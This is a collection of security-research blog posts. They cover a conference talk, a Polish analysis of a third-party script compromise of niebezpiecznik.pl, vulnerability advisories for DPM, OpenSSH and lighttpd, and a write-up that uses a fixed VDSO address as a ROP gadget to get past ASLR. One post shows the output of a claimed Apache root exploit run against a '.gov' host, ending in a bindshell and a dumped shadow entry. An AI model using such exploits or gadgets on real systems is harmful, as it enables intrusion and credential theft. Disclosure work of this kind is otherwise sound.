7

May

by pi3

CONFidence is an annual IT security conference that will take place on 28-29th May, 2013 in Krakow. This is one of the biggest and most valuable conference in Central and East Europe. This event is famous not only from the good quality of presentations, but also (maybe most of all) from the great atmosphere of the conference itself and the after party 🙂

A lot of great speakers will attend to the conference this year. Details can be found here.

I had a pleasure to give a talk at Confidence in 2007. I was presenting my research on MIPS architecture which in fact directly affected ERESI project. Among others I’ve fully implemented disassembler for that arch – libasm library.

After almost 6 years I’m able once again to attend Confidence and have an opportunity to give a talk. My topic is “Crashdumps: hunt 0days and rootkits”. I’m not going to present any unknown techniques neither hardcore technical root-cause analysis but something different. I would like to show a little bit different approach for the crashdump. Crashdumps as source of interesting information for administrators, NetSec guys, or in general status of the network and in fact not only that. The full abstract of my talk can be found here.

Btw. If you are going to Confidence too please let me know we can make some beers or juice if you don’t drink alcohol 🙂

 

Best regards,

Adam

At the beginning I want to inform all my blog readers this post is in polish language because it refers to the situation in Poland.

Na wstępie chciałbym zaznaczyć, że czuję się osobą kompetentną do napisania poniższej analizy. Dla osób, które nie mają zielonego pojęcia, kim jestem przedstawię swój skrócony życiorys zawodowy. Pracuje w branży bezpieczeństwa informatycznego od 2004 roku. Moimi pracodawcami były takie firmy / instytucje jak Hispasec (pracowałem razem z Gynvael Coldwind, Mateusz ‘j00ru’ Jurczyk, Marcin ‘Icewall’ Noga), Europejska Organizacji Badan Jądrowych w Szwajcarii (m.in. pracowałem przy projektach zabezpieczania i rozwijania technologii GRID (np. WLCG, EGEE) oraz projektów takich jak LHC i zajmowałem się m.in. hardeningiem jądra systemu Linux na potrzeby owej organizacji), wykonywałem pentesty i byłem konsultantem dla sporej liczby banków w Polsce jak i za granicą. Byłem architektem bezpieczeństwa w jednym z największych banków inwestycyjnych. Wrocławskie Centrum Sieciowo-Superkomputerowe również dało mi możliwość pracy i uczestniczenia w ciekawych projektach naukowych gdzie starałem się dołożyć swoją cegiełkę bezpieczeństwa. Obecnie pracuje dla Microsoftu w teamie MSRC (grupa Detection & Defence), wcześniej byłem w teamie Science. To tak w dużym skrócie, ponieważ nie jest to temat owego wpisu.

Chciałbym również zaznaczyć, że nie jestem lingwistą, nigdy nie byłem, oraz jestem świadom tego, że popełniam wiele błędów ortograficznych jak i gramatycznych. Nie jest to odpowiednie miejsce na wypominanie mi tego typu pomyłek, ponieważ zaznaczam, że nie jest to nijak związane z tematem, który chcę tutaj poruszyć. Jeżeli masz jakieś kompleksy lingwistyczne to udzielaj się na forach językowych bądź przeprowadzaj konsultacje z prof. Miodkiem. Nie bardzo mnie to interesuje – więc nie wylewaj tu swoich żali językowych.

 

W sobotę (6 kwietnia) miała miejsce nietypowa sytuacja. Otóż bardzo popularny serwis informacyjny (nie techniczny) niebezpiecznik.pl został pośrednio “zhackowany” (świadomie używam cudzysłowu). Otóż z technicznego punktu widzenia, cytując w/w serwis:

“(…) nikt nie przełamał zabezpieczeń Niebezpiecznika, ale włamał się na serwery jednej z firm, z którą współpracujemy i do której to (nie tylko my) odwołujemy się poprzez załączenie skryptu (…)”.

Konsekwencją tego działania było automatyczne przekierowanie na stronę Pastebin zaraz po załadowaniu się serwisu. Zostało to natychmiast zauważone przez polską społeczność internetowa i całe zdarzenie stało się bardzo medialne. Taka sytuacja wynika z wielu czynników. Otóż niebezpiecznik.pl jest blogiem/serwisem niezwykle popularnym. Właśnie ze względu na swój informacyjny (nie techniczny) charakter. Serwis stał się na tyle popularny, że często jest cytowany w mediach głównego nurtu. Zarówno na stronach internetowych jak i poza nimi.

Dodatkowo ekipa projektu niebezpiecznik.pl (w szczególności jego twórca Piotr Konieczny) organizuje wiele szkoleń (płatnych) z zakresu bezpieczeństwa (rożna tematyka). Sprzedaje usługi związane z bezpieczeństwem (testy penetracyjne, audyty, consulting), oraz często jest zapraszany na konferencje gdzie prowadzi wykłady.

Wyżej wymienione czynniki spowodowały swoistą “eksplozję emocji” na temat zaistniałej sytuacji. Jak to się ma do wizerunku serwisu samego w sobie? Swoiste “guru” bezpieczeństwa oraz “wpadka” ze “zhackowanym” serwisem? Dodatkowo strona, na którą było przekierowanie zawierała kontrowersyjny “manifest”. Znajduje się w nim wiele krytyki oraz kontrowersyjnych wniosków.

Moim celem nie jest analizowanie tego manifestu, ani szukaniu potwierdzenia czy też zaprzeczenia postawionych tez, lecz analiza faktu “podważenia społecznego zaufania” do serwisu. Chciałbym się skupić na czymś zupełnie innym. Na czymś, co mnie, jako osobę, która stara się trzymać od tego typu gierek (tak, to są wg mnie gierki) z daleka. Chodzi mi o próbę zbagatelizowania zaistniałej sytuacji przez twórców serwisu i nie przedstawieniu, jakie mogłyby być potencjalne (i zarazem poważne) skutki dokładnie tego ataku. To, że autorzy ataku ich nie zastosowali, lecz wykorzystali do pokazania światu swojego manifestu w cale nie jest wystarczającym powodem by minimalizować zaistniałą sytuację!

 

Skutki ataku

Z punktu widzenia końcowego użytkownika, (czyli zwykłego zjadacza chleba, który odwiedza stronę niebezpiecznik.pl) atak miał takie same skutki jak podmiana strony, czy tez idąc dalej, takie jak atak na serwery DNS. Otóż użytkownik w konsekwencji odwiedził nie ten zasób, który chciał, pomimo że spełnił wszystkie wymagane od niego, z punktu widzenia bezpieczeństwa, zalecenia. Otóż użytkownik NIE BYŁ zainfekowany żadnym złośliwym oprogramowaniem (rootkit / malware), miał prawidłowo poustawiane serwery DNS, prawidłowo wpisał domenę (nie było żadnych literówek, czy też przekłamań bajtów/bitów nawet z tak abstrakcyjnych przyczyn jak promieniowanie kosmiczne). Z tych właśnie powodów użytkownik UFA odwiedzonym zasobom. Pomimo tego, zaufanie zostało złamane i całkowicie inne treści zostały przesłane. Atakujący wybrał proste i niegroźne dla użytkownika przekierowanie na jego manifest, ale wcale nie musiał tego zrobić. Mógł być bardziej złośliwy…

Z mojego punktu widzenia, poważna sytuacja jest, tak na prawdę bagatelizowana. Czy w sytuacji, gdy ktoś podmieni wpisy w DNS (tudzież wykona udany atak DNS Poisoning) również będziemy mówić o niegroźnej sytuacji, jeśli wpisy w DNS również przekierują na manifest w serwisie Pastebin? Jeśli ktoś przełamie zabezpieczenia serwera (nie ważne czy zdobędzie konto administratora czy nie) i podmieni stronę fizycznie na serwerze, która będzie przekierowywać na manifest w serwisie Pastebin, również będziemy bagatelizować? Czy też nawet porównując absurdalnie do ataków typu phishing (absurdalnie, ponieważ w atakach typu phishing zazwyczaj potrzeba zmusić użytkownika do wykonania specyficznej operacji, w tym ataku wszystko było automatyczne), które przekierują na Pastebin z manifestem też to zbagatelizujemy? Otóż wg mnie NIE! Konsekwencje wszystkich z wyżej opisanych ataków są dokładnie takie same! Użytkownik łączy się z serwerem z “czystej”, niezainfekowanej maszyny, prawidłowo wpisuje domeny i prawidłowo inicjalizuje połączenie, w każdym z w/w ataków otrzymałbym inną treść niż spodziewana…

 

W takim razie, jeśli nie przekierowanie na Pastebin, to co?

Otóż atakujący miał ogrom możliwości. Ponieważ serwis niebezpiecznik.pl jest serwisem niezwykle popularnym, naturalną rzeczą jest zaatakowanie wszystkich jego użytkowników. Można to zrobić na różne sposoby. Atakujący mógł wstrzyknąć kod JavaScript, który serwowałby nieznane ataki na aplikacje (0day) np. Java, Flash, etc i wówczas taki exploit po udanym ataku może ściągnąć złośliwe oprogramowanie (rootkit / malware) i zainstalować na maszynie ofiary. Taki scenariusz ataku nosi nazwę drive-by-download i jest dość popularny właśnie ze względu na zaufanie, jakie mają serwery wśród użytkowników. W ciągu paru sekund taki scenariusz mógłby stworzyć niezły botnet z komputerów użytkowników odwiedzających serwis niebezpiecznik.pl. Nie ma tu żadnej różnicy, jaką metodą byłby serwowany złośliwy kod JavaScript. Każdy z opisywanych ataków (włączając ten, który dotyczył serwisu niebezpiecznik.pl) miałby ten sam skutek!

Inny scenariusz, który mógłby zaistnieć, to stworzenie dokładnej kopi 1: 1 serwisu niebezpiecznik.pl na kontrolowanej przez atakującego maszynie i tam przekierować odwiedzających. Również takie działanie ma ogromne konsekwencję! Ponieważ strona jest całkowicie i w każdym detalu kontrolowana przez atakującego, więc mógłby na przykład podmienić przycisk “like” facebook’a w taki sposób by przekierowało na fałszywą stronę logowania do serwisu facebook i ukraść dane z formularza logowania. Oczywiście są różne inne opcje wykorzystania tej sytuacji – ten jest jednak najbardziej obrazowy dla szarego użytkownika.

Innym wartościowym atakiem jest zaatakowanie odnośników na stronie niebezpiecznik.pl., Jakie? Przyjrzyjcie się odnośnikowi “Kontakt”, “Audyty & Pentesty” oraz “Reklama”. Najpierw “Kontakt”:

kontakt

Serwis informuje, że potrafi chronić tożsamość swoich informatorów. Jeżeli przekierujemy połączenie na stronę całkowicie kontrolowaną przez atakującego, wówczas można stworzyć 1: 1 kopie tego formularza, który wysyłałby wszystkie informacje do atakującego zamiast do serwisu. Wówczas informator myślałby, że jest chroniony przez serwis niebezpiecznik.pl, a w konsekwencji nic takiego nie miałoby miejsca. Tylko w kwestii atakującego byłoby to, czy poinformować serwis, że takie zgłoszenie było (poprzez forwardniecie tego, co przechwycił) czy tez nie. A komu on te dane by ujawnił, to już decyzja atakującego.

O wiele gorsza sytuacja mogłaby zaistnieć w pozostałych odnośnikach. Najpierw “Audyty & Pentesty”:

pentest

Mając kontrole nad tym formularzem, atakujący miałby możliwość wykradzenia wszystkich potencjalnych klientów serwisowi niebezpiecznik.pl. Przechwytując takie dane i informacje o chęci uczestnictwa w szkoleniu, można przedstawić konkurencyjną i lepszą (finansowo) ofertę, oraz przy okazji zrobić czarny PR dla serwisu, że firma sprzedająca usługi bezpieczeństwa nie potrafi zadbać o swoje własne. Takie działanie miałoby katastrofalne skutki dla serwisu niebezpiecznik.pl. De facto takie samo zagrożenie istnieje dla zakładki “Szkolenia”:

szkolenia

Mało tego, występują tutaj komentarze od zadowolonych klientów. Kontrolując tę stronę, można również zastosować czarny PR i opublikować wpisy niekorzystne serwisowi.

Jeżeli chodzi o odnośnik “Reklama”:

reklama

Atakujący mógłby zrobić psikusa poprzez podmianę cennika oraz adresu email kontaktowego na całkowicie arbitralny…

Nie muszę wspominać, że jeśli była możliwość stworzenia niewidzialnego <iframe> na oryginalnej stronie niebezpiecznik.pl i “przesłonić” oryginalne przyciski, wówczas atak mógłby być praktycznie niezauważony przez długi czas i byłby tragiczny w skutkach dla serwisu.

 

 

Dlaczego powstał ten wpis? Jaki miał cel?

Nie mam nic przeciwko serwisowi niebezpiecznik.pl ani jego właścicielowi (Piotrowi). De facto znamy się i kojarzymy. Nie mam zamiaru oceniać manifestu, który został zamieszczony, ani samej przyczyny ataku. Nie mniej jednak próba bagatelizowania zaistniałego problemu z mego punktu widzenia jest niewłaściwa. Miedzy innymi z tego względu, że osoby nieobeznane w temacie mogą sobie nie uświadamiać, jakie potencjalne skutki może nieść nawet taki atak, jaki dotknął serwis niebezpiecznik.pl. Jest to o tyle zgubne, że takie osoby mogą uwierzyć w to, że tak naprawdę nic się nie stało i nigdy nie będą na to uczulone. Takie zachowanie jest błędne! Atak miał miejsce i wg mnie mógł mieć bardzo wymierne i poważne skutki (zarówno finansowe dla serwisu niebezpiecznik.pl). Dodatkowo na samym początku tytuł wpisu na serwisie (niebezpiecznik.pl) poruszający zaistniały atak brzmiał następująco:

“Dołączyliśmy do grona największych :-) -- Niebezpiecznik.pl –“

W treści postu było ewidentne bagatelizowanie zaistniałej sytuacji i próba uwypuklenia, że nie zostało nic złamane po stronie serwera niebezpiecznik.pl i nie są oni za nic odpowiedzialni w tej sytuacji. Jednak prawdopodobnie po paru nieprzychylnych komentarzach na serwisach społecznościach temat postu został zmieniony na:

“Mogło być gorzej, czyli zastanów się do których skryptów się odwołujesz”

Natomiast w treści postu został dodany element humorystyczny:

“Można dowcipnie powiedzieć, że dołączyliśmy do grona najlepszych ;)”

Została więc ewidentnie zmieniona retoryka wypowiedzi, natomiast dalej nie zauważyłem merytorycznego wyjaśnienia potencjalnych skutków ataku, a jedynie zmniejszenie uwypuklenia bagatelizowania problemu.

 

Właśnie merytoryczne wyjaśnienie potencjalnych skutków jest jedyną przyczyną napisania tego długiego postu. Jeszcze raz chcę podkreślić ze nie mam nic przeciwko opisywanemu serwisowi…

 

Ps. Cytat kolegi na temat postu w serwisie niebezpiecznik.pl poruszający włamanie:

 “Dostałem dziś w pysk dołączając tym samym do grona najlepszych, którzy dostali kiedyś w pysk: Mike Tyson, Andrzej Gołota, Evender Holyfield i sam Muhammad Ali.”

 

Pozdrawiam,

Adam ‘pi3’ Zabrocki

In the second half of 2009 I was working in European Organization for Nuclear Research (CERN). For some time I was part of GRID development team. One of our product was/is DPM server. What is DPM? LCG Disk Pool Manager (DPM) has been developed as part of the LCG project to provide a light-weight implementation of an SRM compliant Storage Element (SE). Since gLite 3.0 it is a standard gLite component, distributed and maintained as part of the gLite release.

DPM is a disk only SE, instead of a disk + MSS implementation like dCache or Castor. It may act as a replacement for the deprecated classic SE with the following advantages :

  • SRM interface (both v1.1 and v2.2)
  • Better scalability : DPM is allow to manage 100+ TB distributing the load over several servers
  • High performances
  • Light-weight management

Not everyone is familiar with GRID technology and terms used in their community. If you want to get more knowledge please navigate to the following resources here and also here.

At this time I found serious multiple SQL Injection vulnerabilities in this specific software. I wrote extra layer of protection for DPM which secure software from any similar attack and this layer was responsible for doing extra security checks. Unfortunately because of our internal reorganization patch wasn’t integrated with official release of DPM.

On March 2013 (2013-03-05) SVG team (The EGI Software Vulnerability Group (SVG)) published official advisory about my vulnerabilities and of course DPM software is now secured 🙂

In the following list you can find related references:

  1. My official advisory is available here.
  2. SVG official advisory is available here.
  3. This blog post is available here 🙂

 

I would like to thanks David Smith whose allowed me to work on DPM and provided necessary infrastructure and knowledge not only at this topic 🙂

 

Best regards,

Adam

 

20

Feb

by pi3

As some of you know I am(was) active developer in ERESI project. ERESI stands for The ERESI Reverse Engineering Software Interface, its web page stands at: www.eresi-project.org.

eresi-logo

 

For those who do not know the project, The ERESI Reverse Engineering Software Interface is a multi-architecture binary analysis framework with a domain-specific language tailored to reverse engineering and program manipulation.

  • Feature both user-mode and kernel-mode support for instrumentation, debugging and program analysis
  • Handle INTEL and SPARC machine programs (partial support for ARM, MIPS and ALPHA processors).
  • Designed for analysis of Operating Systems based on the Executable & Linking Format (ELF) in particular on the Linux OS.
  • Support many features on *BSD, Solaris, HP-UX, IRIX and BeOS.
  • Trace into any OS in a virtual machine or emulator using the GDB serial protocol.
  • Construct and display program graphs in native code as well as Intermediate Representation (IR) code
  • Does not need symbols or debug info to operate most of its features (but will use them if available in ELF/DWARF/STABS)
  • Inject or debug code that runs without executable data segment (PaX, Openwall, etc)
  • Prone modularity and reuse of code.

Here are the main programs that compose the ERESI framework:

  • elfsh : An interactive and scriptable static program instrumentation tool for ELF binary files.
  • kernsh: An interactive and scriptable runtime kernel instrumentation tool for live code injection, modification and redirection.
  • e2dbg : An interactive and scriptable high-performance process debugger that works without standard OS debug API (without ptrace).
  • •etrace : A scriptable runtime process tracer working at full frequency of execution without generating traps.
  • kedbg: An interactive and scriptable OS-wide debugger interfaced with the GDB server, VMware, Qemu, Boches and OpenOCD (JTAG) via the GDB serial protocol.
  • Evarista: A work-in-progress static binary program transformer entirely implemented in the ERESI language.

Beside those top-level components, ERESI contains various libraries that can be used from one of the previously mentioned tools, or in a standalone third-party program:

  • libelfsh : the binary manipulation library used by ELFsh, Kernsh, E2dbg, and Etrace.
  • libe2dbg : the embedded debugger library operating within the debuggee program.
  • libasm : the smart disassembling engine (x86, sparc, mips, arm) that gives both syntactic and semantic attributes to instructions and their operands.
  • libmjollnir : the control flow analysis and fingerprinting library.
  • librevm : the Runtime ERESI virtual machine, that contains the central runtime environment implementation of the framework.
  • libstderesi : the standard ERESI library containing more than 100 built-in analysis commands.
  • libaspect : the aspect library brings its API to reflect code and data structures in the ERESI language.
  • libedfmt : the ERESI debug format library which can convert dwarf and stabs debug formats to the ERESI debug format.
  • libetrace : the ERESI tracer library, on which Etrace is based.
  • libkernsh : the Kernel shell library is the kernel accessibility library on which Kernsh is based.
  • libgdbwrap : The GDB serial protocol library, for compatibility between ERESI and GDB/VMware/Boches/QeMu/OpenOCD.

ERESI is quite famous project. Many technical articles about ERESI was published on the phrack (#61, #63). In 2007 ERESI team gave a talk at Blackhat European Conference. In 2008 we gave invited talk at the SSTIC conference.

ERESI active development has restart as of February 2013. Most of our developers was very busy for last few years and unfortunately project wasn’t on the top of our priority. I hope now we will be able to finish our ideas and make up for lost time…

 

Best regards,

Adam

25

Oct

by pi3

As some of you know, I had problems with hard disk on my server (pi3.com.pl) which immediate cause problems with availability of my blog and personal site. Bad sectors appear in one of the partition. It took some time before hosting company replace it with new hard drive. Additionally I was waiting for almost one weak until defective drive will be sent to me for creating an image of last running correct system and next restore it. In the mean time I lost access to my private mail and so on… Anyway, finally server is back so I’m adding some pictures:

  • Package with defective disk

  • Restoring laboratory 😉

  • Typical US car…

  • My new neighbor 🙂

Best regards,

Adam

4

Oct

by pi3

I haven’t been posting for a long time. One of the main reason of this situation was of course…. TIME. As some of you is aware I changed my job which involves form me a lot of time, energy, time, travelling, time, recruitment, time, closing old task and time 🙂
Last year I was working as security consultant in great consulting company Cigital. Some of you maybe know CTO – Gary McGraw. My main task as a Security Consultant at Cigital, was working at a large financial institution as part of the Application Security Architecture team. Working on many different projects alongside the development teams within the organization to ensure security is thought about at the requirements stage of the SDLC. Then I work with the development team throughout the development, testing and deployment phase to ensure the application is secure. From this short description you can realize it is mostly high management job compared what I was doing for my last years (research). I met a lot of great people there – mostly Greek “maphia” guys (greetings especially to Alexios and John :)) where we had a lot of fun not only at work 🙂 Of course in company was working other great people which wasn’t Greek (greetings to David, Luca, James, Florence :)).
Anyway after a year I decided to come back to what I love (research) and this is the reason why I’m now at… Microsoft.
In the mean time I was discussing in many companies but MS was more flexible, openmind and “helpful” comparing to others that I decided to go there – especially they have section (group) which perfectly matches to my job preferences.

My current position is “Security Software Development Engineer” and I’m Member of Science team (Research) in the Microsoft Security Engineering Center – Trustworthy Computing. The projects where I’m involved is mostly touching 0day (zero-day) attacks, mitigations, etc.

Below you can find some photos:

*) Enter to my building

*) Inside of my temporary house – fireplace

Maybe later I will upload more photos if someone wants (but don’t believe :))

 

 

Btw. I did not remove meta data from the images – so maybe you can find smth you shouldn’t. I’m so unprofessional 🙂

 

Best regards,

Adam

 

 

The story of the Linux kernel 3.x…

In 2005 everybody was exited about possibility of bypass ASLR on all Linux 2.6 kernels because of the new concept called VDSO (Virtual Dynamic Shared Object). More information about this story can be found at the following link:

http://www.trilithium.com/johan/2005/08/linux-gate/

 

In short, VDSO was mmap’ed by the kernel in the user space memory always at the same fixed address. Because of that well-known technique ret-to-libc (or as some ppl prefer ROP) was possible and effective to bypass existing security mitigation in the system.

… 6 years later Linus Torvalds announced the release of the new kernel version – 3.x! Now, guess what happened…

pi3-darkstar new # uname -r
3.2.12-gentoo
pi3-darkstar new # cat /proc/sys/kernel/randomize_va_space
2
pi3-darkstar new # cat /proc/self/maps|tail -2
bfa81000-bfaa2000 rw-p 00000000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
pi3-darkstar new # cat /proc/self/maps|tail -2
bfd5e000-bfd7f000 rw-p 00000000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
pi3-darkstar new # ldd /bin/ls|head -1
    linux-gate.so.1 =>  (0xffffe000)
pi3-darkstar new # ldd /bin/ls|head -1
    linux-gate.so.1 =>  (0xffffe000)
pi3-darkstar new #

 

I’m not using
dd if=/proc/self/mem of=linux-gate.dso bs=4096 skip=1048574 count=1
because I’m lame 🙂

pi3-darkstar new # echo "main(){}">dupa.c
pi3-darkstar new # gcc dupa.c -o dupa
pi3-darkstar new # gdb -q ./dupa
Reading symbols from /root/priv/projekty/pro-police/new/dupa...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483b7
(gdb) r
Starting program: /root/priv/projekty/pro-police/new/dupa 

Breakpoint 1, 0x080483b7 in main ()
(gdb) dump binary memory test_dump.bin 0xffffe000 0xfffff000
(gdb) quit
A debugging session is active.

    Inferior 1 [process 20117] will be killed.

Quit anyway? (y or n) y
pi3-darkstar new # file test_dump.bin
test_dump.bin: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
pi3-darkstar new # objdump -T ./test_dump.bin 

./test_dump.bin:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
ffffe414 g    DF .text    00000014  LINUX_2.5   __kernel_vsyscall
00000000 g    DO *ABS*    00000000  LINUX_2.5   LINUX_2.5
ffffe40c g    DF .text    00000008  LINUX_2.5   __kernel_rt_sigreturn
ffffe400 g    DF .text    00000009  LINUX_2.5   __kernel_sigreturn

pi3-darkstar new # readelf -h ./test_dump.bin
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0xffffe414
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1172 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         4
  Size of section headers:           40 (bytes)
  Number of section headers:         12
pi3-darkstar new # objdump -f ./test_dump.bin 

./test_dump.bin:     file format elf32-i386
architecture: i386, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0xffffe414
^^^^^^^^^^^^^^^^^^^^^^^^

pi3-darkstar new # objdump -d --start-address=0xffffe414 ./test_dump.bin 

./test_dump.bin:     file format elf32-i386

Disassembly of section .text:

ffffe414 <__kernel_vsyscall>:
ffffe414:    51                       push   %ecx
ffffe415:    52                       push   %edx
ffffe416:    55                       push   %ebp
ffffe417:    89 e5                    mov    %esp,%ebp
ffffe419:    0f 34                    sysenter
ffffe41b:    90                       nop
ffffe41c:    90                       nop
ffffe41d:    90                       nop
ffffe41e:    90                       nop
ffffe41f:    90                       nop
ffffe420:    90                       nop
ffffe421:    90                       nop
ffffe422:    cd 80                    int    $0x80
<--------------------- Nice oldschool pop-ret :) ---------------------->
ffffe424:    5d                       pop    %ebp
ffffe425:    5a                       pop    %edx
ffffe426:    59                       pop    %ecx
ffffe427:    c3                       ret    
pi3-darkstar new #

If you look at the process memory layout and analyse every bytes from this address range you can find some useful instruction not only that which I listed in this lame write-up.

Btw. I wonder why no-one point this out before…
Btw2. Go and write reliable exploit for kernel 3.x ;p

 

 

[UPDATE]

Because my write-up wasn’t so clear this section need to be done. Problem is not in kernel 3.x by itself but in the configuration. If COMPAT_COMPAT_VDSO option was used for kernel then problem appears. Whole problem was discussed based on OpenSuse 12.1 system which enables this option by default. Nicolas Surribas in Full Disclosure list pointed out that in his case problem does not exists! After reading opensuse kernel developers list I found a problem and gentle fix:

http://lists.opensuse.org/opensuse-kernel/2012-03/msg00056.html

What about 64 bits Fedora and Ubuntu? They have fixed address range for VSYSCALL which after discussion with bliss it became as known issue: https://lkml.org/lkml/2011/8/9/274 and I didn’t know about that – my fault.

 

Summarizing:

OpenSuse 12.1 by default has this problem but latest kernel update fix it.

All 64 bits distros has VSYSCALL mmaped at fixed address range but this is known issue.

 

Thanks for everyone who was involved in this issue 😉

 

Best regards,
Adam Zabrocki

First of August 2011 was the date when I decided to publish advisory about vulnerability in OpenSSH  daemon. If someone read carefully advisory he will discover this bug was found in 2008. It took me quite a long time to publish details about vulnerability. I did it from a few reasons; at first I didn’t have a time to analyse details and bug was promising (pre-authentication). In this case advisory will never be public. Problem exists in GSSAPI module (native in OpenSSH source code). I checked many packages in many systems and it seems this method of authentication (gssapi-with-mic) is enabled by default in most of them. Everything was looking very promising 😉 After some months I returned to that problem and discovered that vulnerability is _EXACTLY_ after authentication (one call) so (un)fortunately this is post-authentication bug. Next I tried to find some other way to exploit it. Again I was starting to be busy and drop this project. Because of that finally I published the advisory maybe someone else is interesting to play with that. More information can be found here and here 🙂

I’m writing this post because I’m happy to inform that my research officially got Common Vulnerabilities and Exposures (CVE) number (CVE-2011-5000).

The latest version of OpenSSH has fix for this problem and can be found here. Fix exists only in the original source code but usually NOT in the official packages of popular systems (f.ex. like RedHat – more info here). Problem was solved by Markus Friedl and I would like to thank him for cooperation 🙂

 

Best regards,

Adam

I haven’t been posting on this blog for a while. It doesn’t mean I’m not doing research – I’m just not a big fan of releasing anything and most of my work stays private. Anyway because Apache released new version of their Http Server one of my research was burned. New version of Apache fixes remote code execution vulnerability in default instalation! This vulnerability is quite old and have been exploited in the wild for last 5 years 🙂

This vulnerability is fixed and no longer be 0day I decided to publish exploit code for this bug. How is it work? Find below:

pi3-darkstar ~ # gcc Apache_0day.c -o Apache_0day
pi3-darkstar ~ # ./Apache_0day -h

    ...::: -=[ Apache 2.2.xx 0day exploit  (by Adam 'pi3' Zabrocki) ]=- :::...

    Usage: ./Apache_0day <options>

        Options:
             -v <victim>
             -p <port>
             -h this help screen

 pi3-darkstar ~ # ./Apache_0day -v xxx.gov

    ...::: -=[ Apache 2.2.xx 0day exploit  (by Adam 'pi3' Zabrocki) ]=- :::... 

            [+] Host alive? ... YES!
            [+] Connecting... DONE!
            [+] Checking server... VULNERABLE!
            [+] Calculating zones... DONE!
            [+] Let's play with APR allocator....................................................................................................
................................................................................................................................................................
.................................................................................................... DONE!
            [+] Spawning childs................................................................................... DONE!
            [+] Addresses? ... YES!
                    [+] @APR child 1... DONE! (0xffffffffbffffe01)
                    [+] @APR child 2... DONE! (0xffffffffbceffe01)
            [+] Trying ret-into-system...
            [+] Connecting to bindshell...

pi3 was here :-) Executing shell...
uid=0(root) gid=0(root) grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Linux pi3-test 2.6.32.13-grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686 i686 i386 GNU/Linux
# cat /etc/shadow|head -1
root:$6$vxdYpCQF$0qPMKMwxwVxLGNSZbOUYxK0n33C2lxCPdQq5n5rtr70dNkNPjEWCmjvKCZOKVP.cOM2PMc3JtOruts7F53/hp.:15104:0:::::
# exit;!

Looks nice, isn’t it? 🙂 Now realize it was used in the wild for last 5 years… so better check your machine if no rootkits was installed 🙂

As I promised at the beginning of this post, here is the exploit code: Apache 0day.

 

Best regards,

Adam Zabrocki

29 of November 2011 was the date of public disclosure interesting vulnerability in lighttpd server. Xi Wang discovered that mod_auth for this server does not propely decode characters from the extended ASCII table. The vulnerable code is below:

"src/http_auth.c:67"
--- CUT ---
static const short base64_reverse_table[256] = ...;
static unsigned char * base64_decode(buffer *out, const char *in) {
    ...
    int ch, ...;
    size_t i;
    ...

        ch = in[i];
        ...
        ch = base64_reverse_table[ch];
    ...
}
--- CUT ---

Because variable ‘in’ is type ‘char’, characters above 0x80 lead to negative indices. This vulnerability may lead out-of-boud read and theoretically cause Segmentation Fault (Denial of Service attack). Unfortunately I couldn’t find any binaries where .rodata section before the base64_reverse_table table cause this situation.

I have added some extra debug in the lighttpd source code to see if this vulnerability is executed correctly. Here is output for one of the example:

--- CUT ---
ptr[0x9a92c48] size[0xc0] used[0x0]
127(. | 0 | 0)
-128(t | 1 | 0)
-127(e | 2 | 1)
-126(' | 3 | 2)
-125(e | 4 | 3)
-124(u | 5 | 3)
-123(r | 6 | 4)
-122(' | 7 | 5)
-121(s | 8 | 6)
-120(c | 9 | 6)
-119(i | 10 | 7)
-118(n | 11 | 8)
-117(i | 12 | 9)
-116(  | 13 | 9)
-115(a | 14 | 10)
-114(t | 15 | 11)
-113(. | 16 | 12)
-112(e | 17 | 12)
-111(u | 18 | 13)
-110(r | 19 | 14)
-109(' | 20 | 15)
-108(f | 21 | 15)
-107(i | 22 | 16)
-106(e | 23 | 17)
-105(: | 24 | 18)
-104(= | 25 | 18)
-103(o | 26 | 19)
-102(t | 27 | 20)
-101(o | 28 | 21)
-100(  | 29 | 21)
-99(a | 30 | 22)
-98(g | 31 | 23)
-97(. | 32 | 24)
-96(d | 33 | 24)
-95(g | 34 | 25)
-94(s | 35 | 26)
-93(: | 36 | 27)
-92(u | 37 | 27)
-91(s | 38 | 28)
-90(p | 39 | 29)
-89(o | 40 | 30)
-88(t | 41 | 30)
-87(d | 42 | 31)
-86(b | 43 | 32)
-85(c | 44 | 33)
-84(e | 45 | 33)
-83(d | 46 | 34)
-82(( | 47 | 35)
-81(n | 48 | 36)
-80(y | 49 | 36)
-79(h | 50 | 37)
-78(d | 51 | 38)
-77(g | 52 | 39)
-76(s | 53 | 39)
-75(  | 54 | 40)
-74(r | 55 | 41)
-73(p | 56 | 42)
-72(a | 57 | 42)
-71(n | 58 | 43)
-70(. | 59 | 44)
-69(. | 60 | 45)
-68(d | 61 | 45)
-67(g | 62 | 46)
-66(s | 63 | 47)
-65(: | 64 | 48)
-64(( | 65 | 48)
-63(d | 66 | 49)
-62(- | 67 | 50)
-61(e | 68 | 51)
-60(s | 69 | 51)
-59(  | 70 | 52)
-58(i | 71 | 53)
-57(s | 72 | 54)
-56(n | 73 | 54)
-55(  | 74 | 55)
-54(i | 75 | 56)
-53(l | 76 | 57)
-52(. | 77 | 57)
-51(. | 78 | 58)
-50(k | 79 | 59)
-49(0 | 80 | 60)
-48(% | 81 | 60)
-47(] | 82 | 61)
-46(p | 83 | 62)
-45(r | 84 | 63)
-44(0 | 85 | 63)
-43(% | 86 | 64)
-42(] | 87 | 65)
-41(s | 88 | 66)
-40(z | 89 | 66)
-39([ | 90 | 67)
-38(x | 91 | 68)
-37(x | 92 | 69)
-36(  | 93 | 69)
-35(s | 94 | 70)
-34(d | 95 | 71)
-33(0 | 96 | 72)
-32(% | 97 | 72)
-31(] | 98 | 73)
